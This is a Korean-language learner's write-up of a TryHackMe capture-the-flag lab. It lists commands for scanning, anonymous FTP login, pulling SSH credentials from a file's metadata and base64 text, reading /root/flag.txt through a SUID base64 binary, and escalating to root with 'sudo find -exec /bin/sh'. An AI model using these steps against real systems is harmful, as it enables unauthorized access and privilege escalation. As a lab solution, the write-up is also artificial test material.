<실습 환경>
My PC: kali linux(virtual box)
Task: TryHackme 내 실습 문제
Mission: 타겟 IP 내 플래그 획득
<실습 과정>
1. 타겟 IP와의 통신 여부
ping [target IP]
2. 타겟 정보 수집
# 오픈되어 있는 포트 조사(21, 22, 80 포트 오픈 확인)
nmap -sV [target IP]
3. 웹사이트 확인
- 웹사이트 URL에 "[target IP]:80" 로 접속
> 80 포트로 웹서버 있는 것을 확인하였으니 방문
- [target IP]:80/robots.txt
> 정보 수집(/dev 페이지 있는 것을 확인)
- [target IP]:80/dev/
> Not Found 오류 뜸
4. FTP 서버 확인
1) FTP cmd
- default password DB에서 FTP 계정 정보 획득
> FTP의 경우 ID: anonymous / PW: 공란
# ftp 접속
ftp anonymous@[target IP]
# 파일 조사
ls -al
# 파일 다운로드
get [filename]
2) Local cmd
# 다운받은 파일 확인
ls -al
cat [filename]
# docx 형식의 파일 읽기(계정명은 메타데이터에 있고 비밀번호는 base64로 인코딩된 것을 확인)
libreoffice --cat [filename]
# 파일의 메타데이터 확인(계정명 획득)
exiftool [filename]
# 디코딩을 통해 비밀번호 획득
echo "[encoded data]" | base64 --decode
5. Post-Exploitation(후속 공격)
1) 첫번째 플래그 찾기
# 22번 포트 열려있었으므로 SSH 접속
ssh [username]@[target IP]
# 플래그가 저장된 파일명 찾기(같은 파일명 여러 개 있는 것 확인)
find . -name "[filename]" 2>/dev/null
# keyword가 포함된 파일 경로 및 내용 출력하여 플래그 획득
grep -ir "[keyword]"
2) 두번째 플래그 찾기
# 파일 검색(아무 것도 출력안되면 진짜 없거나 또는 권한 부족으로 못찾을 수 있음)
find / -name "[filename]" 2>/dev/null
# 현재 사용자의 sudo 사용 권한 확인(find 사용 가능한 것 확인)
sudo -l
# 플래그 파일이 저장된 위치 확인
sudo find / -name "[filename]" 2>/dev/null
# 현재 사용자는 권한 부족하므로 SUID 설정된 파일 찾기(base64 SUID 설정된 것 확인)
sudo find / -type f -perm -4000 -exec ls -h {} \; 2>/dev/null
# 읽지 못하는 flag.txt를 인코딩하여 다른 파일에 저장
base64 /root/flag.txt >> encoded.txt
# 인코딩된 값 확인
cat encoded.txt
# 인코딩 파일 디코딩하여 저장(값 확인해보니 아직 인코딩되어 있으므로 다시 디코딩)
base64 --decode encoded.txt >> decoded.txt
# 디코딩(플래그 획득)
base64 --decode decoded.txt
3) 두번째 플래그 찾는 다른 방법
- 현재 sudo find를 사용할 수 있다는 점을 활용하여 GTFOBins 사이트에서 find 디렉터리 확인
> 우회 코드 획득
# root 권한 획득 완료
sudo find . -exec /bin/sh \; -quit
# 루트 권한이므로 바로 열어서 플래그 획득
cat /root/flag.txt
<실습 후기>
- 두번째 플래그를 찾는데 시간이 걸렸다. 처음에 find로 안찾아져서 문제가 잘못된 줄 알고 일일이 다 찾으려는 시도를 했다😂 권한 부족할 때 할 수 있는 행동들을 학습 해야겠다.
※ 사용한 툴(명령어) 간단 정리
- nmap: 네트워크 스캔 툴, 열려있는 포트(서비스), 버전 등 수집 가능
- exiftool: 파일 메타데이터 정보 수집 가능
- base64: 파일을 base64 형식으로 인코딩 또는 디코딩 가능